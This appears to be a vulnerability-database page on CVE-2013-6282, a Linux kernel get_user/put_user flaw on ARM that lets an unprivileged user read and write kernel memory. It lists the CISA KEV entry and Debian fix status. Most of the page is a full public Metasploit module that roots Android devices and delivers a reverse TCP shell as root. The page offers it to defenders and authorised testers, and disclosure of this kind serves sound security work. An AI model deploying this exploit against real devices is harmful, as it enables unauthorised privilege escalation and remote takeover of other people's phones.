CVE-2013-6282
Description
The get_user and put_user API functions of the Linux kernel fail to validate the target address when being used on ARM v6k/v7 platforms. This allows an application to read and write kernel memory which could lead to privilege escalation.
CISA KEV
- Vendor
- Linux
- Product
- Kernel
- Due date
- 2022-10-06
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Google Android - get_user/put_user (Metasploit)
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Common
def initialize(info={})
super( update_info( info, {
'Name' => "Android get_user/put_user Exploit",
'Description' => %q{
This module exploits a missing check in the get_user and put_user API functions
in the linux kernel before 3.5.5. The missing checks on these functions
allow an unprivileged user to read and write kernel memory.
This exploit first reads the kernel memory to identify the commit_creds and
ptmx_fops address, then uses the write primitive to execute shellcode as uid 0.
The exploit was first discovered in the wild in the vroot rooting application.
},
'License' => MSF_LICENSE,
'Author' => [
'fi01', # libget_user_exploit / libput_user_exploit
'cubeundcube', # kallsyms_in_memory
'timwr', # Metasploit module
],
'References' =>
[
[ 'CVE', '2013-6282' ],
[ 'URL', 'http://forum.xda-developers.com/showthread.php?t=2434453' ],
[ 'URL', 'https://github.com/fi01/libget_user_exploit' ],
[ 'URL', 'http://forum.xda-developers.com/showthread.php?t=2565758' ],
],
'DisclosureDate' => "Sep 06 2013",
'SessionTypes' => [ 'meterpreter' ],
"Platform" => [ "android", "linux" ],
'Targets' => [[ 'Automatic', { }]],
'Payload' => { 'Space' => 2048, },
'DefaultOptions' =>
{
'WfsDelay' => 120,
'PAYLOAD' => 'linux/armle/mettle/reverse_tcp',
},
'DefaultTarget' => 0,
}
))
end
def exploit
local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2013-6282.so" )
exploit_data = File.read(local_file, {:mode => 'rb'})
space = payload_space
payload_encoded = payload.encoded
# Substitute the exploit shellcode with our own
exploit_data.gsub!("\x90" * 4 + "\x00" * (space - 4), payload_encoded + "\x90" * (payload_encoded.length - space))
workingdir = session.fs.dir.getwd
remote_file = "#{workingdir}/#{Rex::Text::rand_text_alpha_lower(5)}"
write_file(remote_file, exploit_data)
print_status("Loading exploit library #{remote_file}")
session.core.load_library(
'LibraryFilePath' => local_file,
'TargetFilePath' => remote_file,
'UploadLibrary' => false,
'Extension' => false,
'SaveToDisk' => false
)
print_status("Loaded library #{remote_file}, deleting")
session.fs.file.rm(remote_file)
print_status("Waiting #{datastore['WfsDelay']} seconds for payload")
end
end
Linux Kernel < 3.4.5 (Android 4.2.2/4.4 ARM) - Local Privilege Escalation
Metasploit modules
OS impact
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 3.6.4-1~experimental.1 |
| sid | Fixed | 3.6.4-1~experimental.1 |
| forky | Fixed | 3.6.4-1~experimental.1 |
| bullseye | Fixed | 3.6.4-1~experimental.1 |
| bookworm | Fixed | 3.6.4-1~experimental.1 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
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